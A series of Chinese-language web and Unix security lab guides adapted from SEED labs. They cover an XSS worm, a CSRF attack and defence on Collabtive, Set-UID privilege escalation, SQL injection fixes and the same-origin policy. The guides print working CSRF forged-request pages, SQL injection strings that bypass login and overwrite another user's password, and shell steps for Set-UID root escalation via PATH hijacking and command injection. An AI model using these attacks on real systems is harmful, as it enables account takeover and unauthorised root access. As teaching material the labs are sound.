    var on=new Ajax.PeriodicalUpdater("onlinelist",
    "manageuser.php?action=onlinelist",
    //定义一个新的Ajax.PeriodicalUpdater
    {method:’get’,onSuccess:function(transport){alert(transport.responseText);},
    frequence:1000}
    //请求方式为get，频率为1000



上面的蠕虫代码不能够进行自动传播，这样达不到我们的需求；我们需要编写一个可以自动传播的xss蠕虫病毒，下面这段代码是蠕虫可以自动传播：


    <script id=worm>//定义js的id为worm
    var strCode = document.getElementById("worm");
    //找到元素id
    alert(strCode.innerHTML);
    </script>






代码中使用循环体，从而达到自动传播的目的。


在实验机中这样创建xss蠕虫：


sudo vim xss_worm.js



[image: 图片描述信息]


    var strCode = document.getElementByld("worm");
    alert(strCode.innerHTML);



然后用一个html文件调用蠕虫：


sudo vim worm.html



[image: 图片描述信息]


    <script type='text/javascript' src='http://www.xsslabcollabtive.com/xss_worm.js'></script>



科普


>XSS worm攻击原理剖析http://book.51cto.com/art/201311/419361.htm


>XSS worm剖析 http://book.51cto.com/art/201311/419362.htm


>XSS worm案例 http://www.wooyun.org/bugs/wooyun-2013-017701


lab6 XSS防御


简易代码防御xss漏洞：


sudo vim inittucntions.php



[image: 图片描述信息]


[image: 图片描述信息]


为什么


首先你需要了解strip_only_tags()这个函数：strip_only_tags()(科普)这个函数它让攻击者输入的html标记语言都消失了当然就不能受到直接攻击了。但是这样子是完全不能够防御聪明的黑客的，他可以通过字符构造来达到攻击的目的。如何更好的防御xss攻击，请参考科普里面的几篇文献。


科普


如果你想更多的了解相关的XSS知识,可以去阅读《XSS跨站脚本攻击剖析与防御》。


作业


你需要提交一份详细的实验报告，描述你所做的和你所观察到的。


使用的LiveHTTPHeaders或Wireshark的截图。


您还可以提供有趣的或者令人惊讶的观察。
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Collabtive系统跨站请求伪造攻击实验

            跨站请求伪造(CSRF或XSRF)攻击可用于盗取身份，造成盗号、虚拟货币转让、购买商品等跟人隐私及财产安全的威胁。


第 1 节 Collabtive系统跨站请求伪造攻击实验


实验简介


帮助学生理解跨站请求伪造(CSRF或XSRF)攻击。CSRF攻击涉及用户受害者,受信任的网站,恶意网站。受害者与受信任的站点和用户拥有一个活跃的会话同时访问恶意网站。恶意网站注入一个HTTP请求为受信任的站点到受害者用户会话牺牲其完整性。


实验背景


CSRF攻击总是涉及到三个角色:信赖的网站(Collabtive),受害者的session或cookie,和一个恶意网站。受害者会同时访问恶意网站与受信任的站点会话的时候。攻击包括一系列步骤，如下:



	受害者用户使用他/她的用户名和密码登录到可信站点,从而创建一个新的会话。


	受信任站点存储受害者会话的cookie或session在受害者用户的web浏览器端。


	受害者用户在不退出信任网站时就去访问恶意网站。


	恶意网站的网页发送一个请求到受害者的受信任的站点用户的浏览器。


	web浏览器将自动连接会话cookie,因为它是恶意的要求针对可信站点。


	受信任的站点如果受到CSRF攻击,攻击者的一些恶意的请求会被攻击者发送给信任站点。




恶意网站可以建立HTTP GET或POST请求到受信任的站点。一些HTML标签,比如img iframe,框架,形式没有限制的URL,可以在他们的使用属性中。img,iframe,框架可用于锻造GET请求。HTML表单标签可用于构造POST请求。构造GET请求是相对容易的,因为它甚至不需要JavaScript的帮助;构造POST请求需要JavaScript。因为Collabtive只针对后者,本实验室的任务将只涉及HTTP POST请求；


预备知识


什么是CSRF？


百度百科--CSRF
CSRF(Cross-site request forgery)：中文名称：跨站请求伪造，也被称为：one click attack/session riding，缩写为：CSRF/XSRF；


作用：攻击者盗用了你的身份，以你的名义发送恶意请求；


危害：以你名义发送邮件，发消息，盗取你的账号，甚至于购买商品，虚拟货币转账......造成的问题包括：个人隐私泄露以及财产安全；


环境搭建


启动服务，由于mysql_safe不会退出，所以启动后该终端需要保留，在其他终端中执行后续命令：


sudo service apache2 start
sudo mysqld_safe



> sudo 密码：dees


服务启动后的截图，请再打开其他终端执行后续命令。


[image: 此处输入图片的描述]


配置DNS：


sudo vim /etc/hosts



[image: 图片描述信息]


网站配置：


sudo vim /etc/apache2/conf.d/lab1.conf



[image: 图片描述信息]


重启服务：


sudo service apache2 restart



访问测试：http://www.csrflabattacker.com


[image: 图片描述信息]


网站配置：


sudo vim /etc/apache2/conf.d/lab2.conf



[image: 图片描述信息]


重启服务：


sudo service apache2 restart



访问测试:http://www.csrflabcollabtive.com


[image: 图片描述信息]


注：两个配置文件不同同时存在，否则Apache会出错，如果需要测试，建议把其中一个的端口修改为8080


[image: 图片描述信息]


这个时候我们就可以同时访问两个网站了~~~


实验任务


实验环境介绍：第一个网站是脆弱Collabtive网站www.csrflabcollabtive.com在虚拟机访问。第二个网站是攻击者的恶意网站,用于攻击Collabtive。本网站内可以通过www.csrflabattacker.com访问虚拟机。


lab1 修改受害者的信息


step1:启动mysql数据库:


sudo mysqld_safe



step2:访问 www.csrflabcollabtive.com并进行登录。


>用户：admin 密码：admin


step3:我们登陆了自己的用户，当我们希望可以修改别人的用户时，我们需要知道修改数据时的数据流，这个时候我们可以使用firefox浏览器自带的LiveHttpHeader插件来进行抓包获取修改用户时候的http消息；


点击菜单栏tools-LiveHttpHeader，然后访问编辑用户页面；


[image: 图片描述信息]


[image: 图片描述信息]


通过抓取的信息，我们可以得知：


验证页面：http://www.csfrlabcollabtive.com/manageuser.php?action=edit


用户姓名id:name；company；email等等信息我们都可以进行修改；


这里最好使用其他用户进行测试


但是用户修改用户的方式post提交，我们就需要自己构造一个危险页面


>     <html><body><h1>
>     This page forges an HTTP POST request.
>     </h1>
>     <script>
>     function post(url,fields)
>     {
>     //create a <formelement.
>     var p = document.createElement('form');
>     //construct the form
>     p.action = url;
>     p.innerHTML = fields;
>     p.target = '_self';
>     p.method = 'post';
>     //append the form to the current page.
>     document.body.appendChild(p);
>     //submit the form
>     p.submit();
>     }
>     function csrf_hack()
>     {
>     var fields;
>     // The following are form entries that need to be filled out
>     // by attackers. The entries are made hidden, so the victim
>     // won't be able to see them.
>     fields += "<input type='hidden' name='name' value='peter'>"; //修改用户名
>     fields += "<input type='hidden' name='userfile' value=''>";  
>     fields += "<input type='hidden' name='company' value='seed'>";  //修改公司名
>     post('http://www.csrflabcollabtive/manageuser.php?action=edit',fields);
>     }
>     // invoke csrf_hack() after the page is loaded.
>     window.onload = function() { csrf_hack(); }
>     </script>
>     </body></html>



将上面的代码保存为index.html并放在/var/www/CSRF/Attacker/文件夹下，当用户没有退出，就去访问了www.csrflabattacker.com就会对collabtive网站的用户信息进行修改；下面进行测试：


访问前，注意用户的姓名还有company：


[image: 图片描述信息]


访问攻击者页面，当然页面还可以进行变形做的更加隐秘，甚至让用户完全不能察觉：


[image: 图片描述信息]


再次查看用户信息，这个时候我们就会发现用户变成了我们的期望值了：


[image: 图片描述信息]


原理解析


攻击者模拟一个页面进行自动提交，当用户访问这个页面时，相当于用户自己去修改信息，服务器不会判断是人发起的害死自动发起的，这个时候漏洞就产生了！


lab2 对Collabtive实施防御对策


服务端防御：放映厅CSRF方式方法很多样，但总的思想都是一致的，就是在客户端页面增加伪随机数；


编辑验证文件


sudo vim /var/www/CSRF/Collabtive/templates/standard/edituserform.tpl



[image: 图片描述信息]


[image: 图片描述信息]


保存并退出，然后修改manageuser.php文件


[image: 图片描述信息]


这一行是获取用户提交过来的sid值；添加位置可以适当变化；


[image: 图片描述信息]


这一行是对用户sid值进行判断，是否等于phpsessid的值，如果相等就可以进行对用户编辑，这样当攻击者想攻击时，就不能通过验证了；这里需要注意的是，if需要对整个编辑内容进行判断；所以要注意括号闭合的位置，应该是$action="edit"整个内容；


然后我们再进行lab1中的实验，就会不成功了！


原理


因为攻击者不能获得第三方的Cookie(理论上)


思考--你能绕过这个对策?


答案：这个方法个人觉得已经可以杜绝99%的CSRF攻击了，那还有1%呢....由于用户的Cookie很容易由于网站的XSS漏洞而被盗取，这就另外的1%。一般的攻击者看到有需要算Hash值，基本都会放弃了，某些除外，所以如果需要100%的杜绝，这个不是最好的方法；


作业


你需要提交一份详细的实验报告来描述你做了什么和你所学到的。


请提供使用LiveHTTPHeaders Wiresharkde 细节或屏幕截图。


您还需要提供有趣的或令人惊讶的解释。
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SET-UID程序漏洞实验

            Set-UID 是一个重要的安全机制，但是如果一个程序的拥有者是root，那么任何人运行这个程序时都会获得root权限，这是很多坏事情的罪魁祸首。


第 1 节 SET-UID程序漏洞实验


一、实验简介


Set-UID 是Unix系统中的一个重要的安全机制。当一个Set-UID程序运行的时候，它被假设为具有拥有者的权限。例如，如果程序的拥有者是root，那么任何人运行这个程序时都会获得程序拥有者的权限。Set-UID允许我们做许多很有趣的事情，但是不幸的是，它也是很多坏事情的罪魁祸首。


因此本次实验的目标有两点：


> 1．欣赏好的方面，理解为什么Set-UID是需要的，以及它是如何被执行的。


> 2．注意坏的方面，理解它潜在的安全性问题。


二、实验内容


这是一个探索性的实验，你的任务是在Linux环境中和Set-UID机制”玩游戏“，你需要在Linux中完成接下来的实验任务：


2.1 猜测为什么“passwd”，“chsh”，“su”，和“sudo”命令需要Set-UID机制，如果它们没有这些机制的话，会发生什么，如果你不熟悉这些程序，你可以通话阅读使用手册来熟悉它们，如果你拷贝这些命令到自己的目录下，这些程序就不会是Set-UID程序，运行这些拷贝的程序，观察将会发生什么。


[image: tu-01]


从上面的截图可以看出：将passwd拷贝到/tmp/下，权限发生了变化（在原目录下suid位被设置），复件没有了修改密码的权限。


对于“chsh”，“su”，和“sudo”命令，把这些程序拷贝到用户目录下，同样不再具有root权限。


2.2 在linux环境下运行Set-UID 程序，同时描述并且解释你的观察结果


2.2.1 以root方式登录，拷贝/bin/zsh 到/tmp, 同时设置拷贝到tmp目录下的zsh为set-uid root权限，然后以普通用户登录，运行/tmp/zsh。你会得到root权限吗？请描述你的结果。


[image: tu-02]


2.2.2 拷贝/bin/bash到/tmp目录，同时设置/tmp目录下的bash为Set-UID root权限，然后以普通用户登录，运行/tmp/bash。你会得到root权限吗？请描述你的结果。


[image: tu-03]


可见，同样的操作，运行复制的zsh可以获得root权限，而bash不能。


2.3 从上面步骤可以看出，/bin/bash有某种内在的保护机制可以阻止Set-UID机制的滥用。为了能够体验这种内在的保护机制出现之前的情形，我们打算使用另外一种shell程序——/bin/zsh。在一些linux的发行版中（比如Redora和Ubuntu），/bin/sh实际上是/bin/bash的符号链接。为了使用zsh，我们需要把/bin/sh链接到/bin/zsh。


下面的指令将会把默认的shell指向zsh：


$sudo su
Password:
#cd /bin
#rm sh
#ln -s zsh sh



[image: tu-04]


2.4 PATH环境变量的设置


system(const char * cmd)系统调用函数被内嵌到一个程序中执行一个命令，system()调用/bin/sh来执行shell程序，然后shell程序去执行cmd命令。但是在一个Set-UID程序中system()函数调用shell是非常危险的，这是因为shell程序的行为可以被环境变量影响，比如PATH；而这些环境变量可以在用户的控制当中。通过控制这些变量，用心险恶的用户就可以控制Set-UID程序的行为。


下面的Set-UID程序被用来执行/bin/ls命令；然后程序员可以为ls命令使用相对路径，而不是绝对路径。


int main()
{
   system("ls");
   return 0;
}



2.4.1 你能够设置这个Set-UID程序运行你自己的代码而不是/bin/ls吗？如果你能的话，你的代码具有root权限吗？描述并解释你的观察。


可以具有root权限，把/bin/sh拷贝到/tmp目录下面重命名为ls（先要确保/bin/目录下的sh 符号链接到zsh，而不是bash），将环境变量PATH设置为当前目录/tmp，运行编译的程序test。就可以获得root权限：


[image: tu-05]


2.4.2 修改/bin/sh使得其返回到/bin/bash，重复上面的攻击，你仍然可以获得root权限吗？描述并解释你的观察。


[image: tu-06]


可见修改sh连接回bash，运行test程序不能使普通用户获得root权限。


2.5 sytem()和execve()的不同


首先确保/bin/sh指向zsh


背景：Bob在为一家审计代理处工作，他正在调查一家公司是否存在诈骗行为。为了这个目的，他需要阅读这家公司在Unix系统中的所有文件；另一方面，为了保护系统的可靠性，他不能修改任何一个文件。为了达到这个目的，Vince——系统的超级用户为他写了一个SET-ROOT-UID程序，并且给了Bob可以执行它的权限。这个程序需要Bob在命令行中打出一个文件名，然后运行/bin/cat命令显示这个文件。既然这个程序是以root权限运行的，它就可以显示Bob想看的任何一个文件。然而，既然这个程序没有写操作，Vince很确信Bob不能用这个程序修改任何文件。


#include <string.h>
#include <stdio.h>
#include <stdlib.h>
int main(int argc, char *argv[])
{
   char *v[3];
   if(argc < 2)
   {
   printf("Please type a file name.\n");
   return 1;
   }
   v[0] = "/bin/cat"; v[1] = argv[1]; v[2] = 0;
  //Set q = 0 for Question a, and q = 1 for Question b
   int q = 0;
   if (q == 0)
   {
      char *command = malloc(strlen(v[0]) + strlen(v[1]) + 2);
      sprintf(command, "%s %s", v[0], v[1]);
      system(command);
  }
  else execve(v[0], v, 0);
  return 0 ;
}



2.5.1 程序中有 q=0。程序会使用system()调用命令行。这个命令安全码？如果你是Bob，你能对系统的完整性妥协吗？你能重新移动一个对你没有写权限的文件吗?


这个命令不安全，Bob可能会出于好奇或者个人利益驱使阅读或者修改只有root用户才可以运行的一些文件。比如截图中：file文件只有root用户有读写权限，但普通用户通过运行该程序，阅读并重命名了file文件：


[image: tu-07]


2.5.2 如果令q=1；刚才的攻击还会有效吗？请描述并解释你的观察。


修改为q=1后，不会有效。前面步骤之所以有效，是因为system()函数调用/bin/sh，链接至zsh，具有root权限执行了cat file文件后，接着执行mv file file_new命令。


而当令q=1, execve()函数会把file; mv file file_new 看成是一个文件名，系统会提示不存在这个文件：


[image: tu-08]


2.6 LD_PRELOAD环境变量


为了保证Set-UID程序在LD_PRELOAD环境的操纵下是安全的，动态链接器会忽略环境变量，但是在某些条件下是例外的，在下面的任务中，我们猜测这些特殊的条件到底是什么。


1、让我们建立一个动态链接库。把下面的程序命名为mylib.c，放在/tmp目录下。在函数库libc中重载了sleep函数：


#include <stdio.h>
void sleep (int s)
{
    printf("I am not sleeping!\n");
}



2、我们用下面的命令编译上面的程序（注意区别l和1）：


gcc -fPIC -g -c mylib.c

gcc -shared -Wl,-soname,libmylib.so.1 \
-o libmylib.so.1.0.1 mylib.o –lc



3、把下面的程序命名为myprog.c，放在/tmp目录下：


int main()
{
   sleep(1);
   return 0;
}



请在下面的条件下运行这些程序，并观察结果。基于这些观察告诉我们链接器什么时候会忽略LD_PRELOAD环境变量，解释原因。


2.6.1 把myprog编译成一个普通用户下的程序在普通用户下运行


可见，它会使用LD_PRELOAD环境变量，重载sleep函数：


[image: tu-09]


2.6.2 把myprog编译成一个Set-UID root的程序在普通用户下运行


在这种情况下，忽略LD_PRELOAD环境变量，不重载sleep函数，使用系统自带的sleep函数：


[image: tu-10]


2.6.3 把myprog编译成一个Set-UID root的程序在root下运行


在这种情况下，使用LD_PRELOAD环境变量，使用重载的sleep函数：


[image: tu-11]


2.6.4在一个普通用户下把myprog编译成一个Set-UID 普通用户的程序在另一个普通用户下运行


在这种情况下，不会重载sleep函数：


[image: tu-12]


由以上四种情况可见：只有用户自己创建的程序自己去运行，才会使用LD_PRELOAD环境变量，重载sleep函数，否则的话忽略LD_PRELOAD环境变量，不会重载sleep函数。


2.7 消除和清理特权


为了更加安全，Set-UID程序通常会调用setuid()系统调用函数永久的清除它们的root权限。然而有些时候，这样做是远远不够的。在root用户下，在/tmp目录新建一个空文件zzz。在root用户下将下面代码命名为test.c，放在/tmp目录下，编译这个程序，给这个程序设置root权限。在一个普通的用户下，运行这个程序。描述你所观察到的情况，/tmp/zzz这个文件会被修改吗？解释你的观察。


代码：


#include <stdlib.h>
#include <stdio.h>
#include <sys/types.h>
#include <fcntl.h>

int main(){

    int fd;
    fd = open("/tmp/zzz",O_RDWR|O_APPEND);
    sleep(1);
    setuid(getuid());
    pid_t pid ;

    if( ( pid = fork() ) < 0 )
        perror("fork error");
    else if( pid == 0 ){
        // child process
        write( fd , "shiyanlou!" , 10 );
    }

    int status=waitpid(pid,0,0);
    close(fd);

    return 0;
}



结果如图：


[image: tu-13]


如图所示文件被修改了，原因在于设置uid前，zzz文件就已经被打开了。只要将语句setuid(getuid())移至调用open函数之前，就能避免这个问题。


三、练习


在实验楼环境安步骤进行实验，并截图


License


本课程所涉及的实验来自Syracuse SEED labs，并在此基础上为适配实验楼网站环境进行修改，修改后的实验文档仍然遵循GNU Free Documentation License。
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Collabtive系统SQL注入实验

            利用web应用程序和数据库服务器之间的接口，把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串，欺骗服务器执行恶意的SQL命令。


第 1 节 Collabtive 系统 SQL 注入实验


实验介绍


SQL注入漏洞的代码注入技术,利用web应用程序和数据库服务器之间的接口。通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串，最终达到欺骗服务器执行恶意的SQL命令。


在这个实验中,我们利用的web应用程序称为Collabtive，禁用Collabtive的若干对策。这样我们就创建了一个容易受到SQL注入攻击的Collabtive版本。经过我们的人工修改,可以捕捉许多web开发人员的常见错误。在本实验室学生的目标是找到方法来利用SQL注入漏洞,证明可以通过攻击的伤害,和掌握的技术,可以帮助抵御这类攻击。


预备知识


1、 SQL语言


结构化查询语言(Structured Query Language)简称SQL：是一种特殊目的的编程语言，是一种数据库查询和程序设计语言，用于存取数据以及查询、更新和管理关系数据库系统；同时也是数据库脚本文件的扩展名。


常见SQL语句


2、SQL注入


SQL注入：SQL注入能使攻击者绕过认证机制，完全控制远程服务器上的数据库。SQL是结构化查询语言的简称，它是访问数据库的事实标准。目前，大多数Web应用都使用SQL数据库来存放应用程序的数据。几乎所有的Web应用在后台都使用某种SQL数据库。跟大多数语言一样，SQL语法允许数据库命令和用户数据混杂在一起的。如果开发人员不细心的话，用户数据就有可能被解释成命令，这样的话，远程用户就不仅能向Web应用输入数据，而且还可以在数据库上执行任意命令了。


sql注入原理讲解


3、SQL注入危害


>1. 非法读取、篡改、添加、删除数据库中的数据。


>2. 盗取用户的各类敏感信息，获取利益。


>3. 通过修改数据库来修改网页上的内容。


>4. 私自添加或删除账号。


>5. 注入木马等等。


4、环境搭建


启动mysql：


sudo mysqld_safe



注意启动后程序不会退出，可以打开新的终端执行后续命令。


启动Apache：


    sudo service apache2 start

    密码：dees



配置DNS：


    sudo vim /etc/hosts



>    按i进入编辑模式，编辑文件


>    编辑完成后按Esc退出编辑


>    完成后使用 :wq 保存并退出


[image: 图片描述信息]


配置网站文件：


    sudo vim /etc/apache2/conf.d/lab.conf
    sudo service apache2 restart  重启服务



[image: 图片描述信息]


>访问测试：http://www.sqllabcollabtive.com


[image: 图片描述信息]


>用户名：admin；密码：admin


关闭php配置策略：


    sudo vim /etc/php5/apache2/php.ini



把magic_quotes_gpc=On 改为 magic_quotes_gpc = Off


[image: 图片描述信息]


>关于magicquotesoff函数：


>对于magicquotesgpc=on的情况， 我们可以不对输入和输出数据库的字符串数据作addslashes()和stripslashes()的操作,数据也会正常显示；


>如果此时你对输入的数据作了addslashes()处理，那么在输出的时候就必须使用stripslashes()去掉多余的反斜杠。


对于PHP magic_quotes_gpc=off 的情况


必须使用addslashes()对输入数据进行处理，但并不需要使用stripslashes()格式化输出，因为addslashes()并未将反斜杠一起写入数据库，只是帮助mysql完成了sql语句的执行。


科普


实验内容


lab1 select语句的sql注入


访问：www.sqllabcollabtive.com；当我们知道用户而不知道到密码的时候，我们可以怎么登陆？


查看登陆验证文件：


sudo vim /var/www/SQL/Collabtive/include/class.user.php



>设置行号 :set number


>    查找   :/keyword


找到其中第375行


[image: 图片描述信息]


$sel1 = mysql_query ("SELECT ID, name, locale, lastlogin, gender, FROM user WHERE (name = '$user' OR email = '$user') AND pass = '$pass'");



这一句就是我们登录时，后台的sql语句；我们可以构造一个语句，在不知道密码的情况下登陆；


 $sel1 = mysql_query ("SELECT ID, name, locale, lastlogin, gender, FROM user WHERE (name = '$user ') #' OR email = '$user') AND pass = '$pass'");



修改完后重启一下服务器：


sudo sudo service apache2 restart



我们在$user后面加上) #  这样就会只验证用户名，后面的会被#注释


[image: 图片描述信息]


点击登陆以后，我们就可以绕过密码直接登录：


[image: 图片描述信息]


思考：


> 你是否可以找到一个方法来修改数据库（仍然使用上述SQL查询）？


>例如，你能添加一个新的登陆用户，或删除现有的用户？显然，上述的SQL语句是一个查询只陈述，并且不能更新数据库。但是，使用SQL注入，你可以把上面的语句分割为两个语句，后面是更新语句。


>请试试这个方法，看看是否可以成功地更新数据库？


答案：


> 其实，我们都无法达到更新的目标。这是因为在MySQL中实现的特定的防御机制。在报告中，你应该告诉我们你有什么企图以修改数据库。你应该找出原因的攻击失败，是什么机制在MySQL中阻止这种攻击。


登陆用户名：


admin') union update user set name='test' #



登陆密码：随意的字符


登陆失败


[image: 图片描述信息]


原因解释


MySQL机制：update不支持union语法。


lab2 update语句的sql注入


Collabtive平台中可以更新用户信息，我们要实现通过自己的用户去修改别人的用户信息；


访问用户编辑链接：http://www.sqllabcollabtive.com/manageuser.php?action=editform&id=1


在Collabtive web应用程序中，如果用户想更新他们的个人资料，他们可以去我的帐户，单击编辑链接，然后填写表格以更新资料信息。在用户发送更新请求到服务器，一个UPDATE SQL语句将建造在include/class.user.php。这句话的目的是修改用户表中的当前用户的配置信息。
有一个在这个SQL语句中的SQL注入漏洞；


    sudo vim /var/www/SQL/Collabtive/include/class.user.php



我们可以找到如下的代码


    function edit($id, $name, $realname, $email, $tel1, $tel2, $company,
              $zip, $gender, $url, $address1, $address2, $state,
              $country, $tags, $locale, $avatar = "", $rate = 0.0)
    {
    $name = mysql_real_escape_string($name);
    $realname = mysql_real_escape_string($realname);

    //modified for SQL Lab
    //$company = mysql_real_escape_string($company);
    $email = mysql_real_escape_string($email);

    // further escaped parameters removed for brevity...

    $rate = (float) $rate;
    $id = (int) $id;

    if ($avatar != "")
        {
            $upd = mysql_query("UPDATE user SET name='$name', email='$email',
                                tel1='$tel1', tel2='$tel2', company='$company',
                                zip='$zip', gender='$gender', url='$url',
                                adress='$address1', adress2='$address2',
                                state='$state', country='$country',
                                tags='$tags', locale='$locale',
                                avatar='$avatar', rate='$rate' WHERE ID = $id");
        }
    else
        {
            // same query as above minus setting avatar; removed for
            // brevity
        }
    if ($upd)
        {
            $this->mylog->add($name, 'user', 2, 0);
            return true;
        }
    else
        {
            return false;
        }
    }



我们会发现​sql语句为：SELECT ID WHERE name=​'$user',并且company的位置是存在注入漏洞，原理同lab1。


这样我们就可以越权来修改其他用户的信息及密码；我们使用任意用户，如： bob bob 进行登录；


在编辑用户的位置：user 填 ted 用户；
Company 处填：


     ', `pass` = '9d4e1e23bd5b727046a9e3b4b7db57bd8d6ee684' WHERE ID = 4 # '
    注：这里的 9d4e1e23bd5b727046a9e3b4b7db57bd8d6ee684 就是pass的md5值；



[image: 图片描述信息]


点击修改，然后我们退出当前用户，使用ted用户登录，这个时候ted用户的密码应该是pass；


[image: 图片描述信息]
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防御策略


SQL注入漏洞的根本问题是数据与代码的分离失败，因此我们可以针对这个原因进行防御


防御策略1


防御转义特殊字符使用，默认开启magicquotesgpc，将magicquotesgpc值设为On。


    sudo vim /etc/php5/apache2/php.ini
    sudo service apache2 restart



[image: 图片描述信息]


科普：magicquotesgpc防注入方法


防御策略2--避免使用特殊字符


MySQL提供一个函数 mysqlrealescape_string()，这个函数可以用来过滤一些特殊字符；如\x00, \n, \r, , ', " and \x1a；


科普：mysqlrealescape_string()


代码防御示例：


    sudo vim /var/www/SQL/Collabtive/include/class.user.php



修改为如下：


    // This code was provided by the lab's author Wenliang Du, of Syracuse
    // University under the GNU Free Documentation License

    function login($user, $pass)
    {
        if (!$user)
            {
                return false;
            }

        // modification fixed
        $user = mysql_real_escape_string($user);
        $pass = mysql_real_escape_string($pass);
        $pass = sha1($pass);

        $sel1 = mysql_query("SELECT ID, name, locale, lastlogin, gender
                         FROM user WHERE (name =  '$user' OR
                         email = '$user') AND pass = '$pass'");
        $chk = mysql_fetch_array($sel1);
        if ($chk["ID"] != "")
            {
                // New user session object and cookie creation code
                // removed for brevity
                return true;
            }
        else
        {
            return false;
        }
    }



以及编辑用户代码：


    function edit($id, $name, $realname, $email, $tel1, $tel2, $company,
              $zip, $gender, $url, $address1, $address2, $state,
              $country, $tags, $locale, $avatar = "", $rate = 0.0)
    {
    $name = mysql_real_escape_string($name);
    $realname = mysql_real_escape_string($realname);

    // modification fixed
    $company = mysql_real_escape_string($company);
    $email = mysql_real_escape_string($email);

    // further escaped parameters removed for brevity...

    $rate = (float) $rate;
    $id = (int) $id;

    if ($avatar != "")
        {
            $upd = mysql_query("UPDATE user SET name='$name', email='$email',
                                tel1='$tel1', tel2='$tel2', company='$company',
                                zip='$zip', gender='$gender', url='$url',
                                adress='$address1', adress2='$address2',
                                state='$state', country='$country',
                                tags='$tags', locale='$locale',
                                avatar='$avatar', rate='$rate' WHERE ID = $id");
        }
    else
        {
            // same query as above minus setting avatar; removed for
            // brevity
        }
    if ($upd)
        {
            $this->mylog->add($name, 'user', 2, 0);
            return true;
        }
    else
        {
            return false;
        }
    }



防御策略3--数据与sql语句的分离


通过SQL逻辑分离来告诉数据库到底是哪部分是数据部分，哪一部分是SQL语句部分；


提供以新的new mysqli()函数， 将这个函数写入config/standary/config.php文件：


    sudo vim /var/www/SQL/Collabtive/include/class.user.php



修改代码如下：


    // This code was provided by the lab's author Wenliang Du, of Syracuse
    // University under the GNU Free Documentation License

    function login($user, $pass)
    {
    if (!$user)
        {
            return false;
        }

    // using prepared statements

    // note that $conn is instantiated in the datenbank class found in
    // ./class.datenbank.php. this may need to be passed in, but we
    // will assume we have access to it for the sake of brevity

    $stmt = $conn->prepare("SELECT ID,name,locale,lastlogin,gender FROM user
                            WHERE (name=? OR email=?) AND pass=?");
    $stmt->bind_param("sss", $user, $user, sha1($pass));
    $stmt->execute();
    $stmt->bind_result($bind_ID, $bind_name, $bind_locale, $bind_lastlogin,
                       $bind_gender);
    $chk = $stmt->fetch();
    if ($bind_ID != "")
        {
            // New user session object and cookie creation code
            // removed for brevity
            return true;
        }
    else
        {
            return false;
        }
    }



以及编辑用户处的代码：


    // This code was provided by the lab's author Wenliang Du, of Syracuse
    // University under the GNU Free Documentation License

    function edit($id, $name, $realname, $email, $tel1, $tel2, $company, $zip,
              $gender, $url, $address1, $address2, $state, $country, $tags,
              $locale, $avatar = "", $rate = 0.0)
    {
    // the bind_param() function wants a double, not float, though
    // they are the same internally
    $rate = (double) $rate;
    $id = (int) $id;

    if ($avatar != "")
        {
            // again, $conn is instantiated in the datenbank class, and
            // may need to be passed, but we are assuming we have
            // access to it for the sake of brevity

            // note that the app uses zip as a string, does not use
            // realname although it is passed, and the columns adress
            // and adress2 are misspelled

            $stmt = $conn->prepare("UPDATE user SET name=?, email=?, tel1=?,
                                    tel2=?, company=?, zip=?, gender=?, url=?,
                                    adress=?, adress2=?, state=?, country=?,
                                    tags=?, locale=?, avatar=? rate=?
                                    WHERE ID = ?");
            $stmt->bind_param("sssssssssssssssdi", $name, $email, $tel1, $tel2,
                               $company, $zip, $gender, $url, $address1,
                               $address2, $state, $country, $tags, $locale,
                               $avatar, $rate, $id);
            $upd = $stmt->execute();
        }
    else
        {
            $stmt = $conn->prepare("UPDATE user SET name=?, email=?, tel1=?,
                                    tel2=?, company=?, zip=?, gender=?, url=?,
                                    adress=?, adress2=?, state=?, country=?,
                                    tags=?, locale=?, rate=? WHERE ID = ?");
            $stmt->bind_param("ssssssssssssssdi", $name, $email, $tel1, $tel2,
                               $company, $zip, $gender, $url, $address1,
                               $address2, $state, $country, $tags, $locale,
                               $rate, $id);
            $upd = $stmt->execute();
        }
    if ($upd)
        {
            $this->mylog->add($name, 'user', 2, 0);
            return true;
        }
    else
        {
            return false;
        }
    }



调试


下面的代码可以让服务器端php程序变量输出到一个文件中，以此来对php代码进行调试


    $myFile = "/tmp/mylog.txt";
    $fh = fopen($myFile, ’a’) or die("can’t open file");
    $Data = "a string";
    fwrite($fh, $Data . "\n");
    fclose($fh);



火狐插件Tamper Data


TamperData使用


作业


你需要提交一份详细的实验报告，描述你所做的和你所观察到的。


请提供使用的LiveHTTPHeaders的截图，并且提供详细的操作过程资料。


您还可以提供有趣或者令人惊讶的发现。
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Collabtive系统浏览器同源策略探索实验

            现有的web浏览器的安全模型是基于同源策略，提供一些基于Web应用程序的保护功能。本实验帮助理解同源策略。


第 1 节 Collabtive系统浏览器访问控制实验


实验简介


现在的web浏览器的安全模型是基于同源策略，并提供一些基于Web应用程序的保护功能；这个实验的目的是帮助大家对同源策略有一个很好的理解，这将对我们学习跨站脚步攻击和跨站请求伪造有很大帮助。


>系统用户名：seed，密码：dees


>网站登陆用户名：admin ，密码：admin


实验背景


Web浏览器本质上是与sites/web applications 1代表其用户进行交互的用户代理。通常，用户访问一个网站使用Web浏览器 - Web浏览器将HTTP请求转发到网站上代表其用户，并反过来显示由该网站的响应返回的网页。 Web浏览器使用的安全模型被称为同源策略（SOP）用于执行对Web应用程序的一些访问限制。 


SOP的标识每个网站使用它的起源，这是hprotocol，域PORTI的一个独特的组合，并创建一个上下文为每个原点。对于每个源，所述web浏览器生成的上下文，并将该web应用程序的资源，从上下文中的原点。从一个出身JavaScript程序不得从其他产地访问资源。cookie和文档对象模型（DOM）对象是为哪SOP施加的web应用资源的例子。此外，JavaScript程序可以使用XMLHttpRequest API HTTP请求发送到Web应用程序。 SOP的也扩展到使用的XMLHttpRequest API。首先，我们将提供cookie，DOM对象和XMLHttpRequest API一些背景。然后，我们描述了实验室的任务，这将导致学生调查SOP以及它如何影响使用cookies，DOM对象和XMLHttpRequest API


预备知识


1、什么是同源策略


同源：如果两个页面使用相同的协议(protocol)，端口和主机（域名），那么这两个页面就属于同一个源。


同源策略：限制了一个源(origin)中加载文本或脚本与来自其他源中资源的交互方式；是客户端脚本（尤其是Javascript）的重要的安全度量标准。


重点：同源策略认为来自任何站点装载的信赖内容是不安全的。当被浏览器半信半疑的脚本运行在沙箱时，它们应该只被允许访问来自同一站点的资源，而不是那些来自其它站点可能怀有恶意的资源；


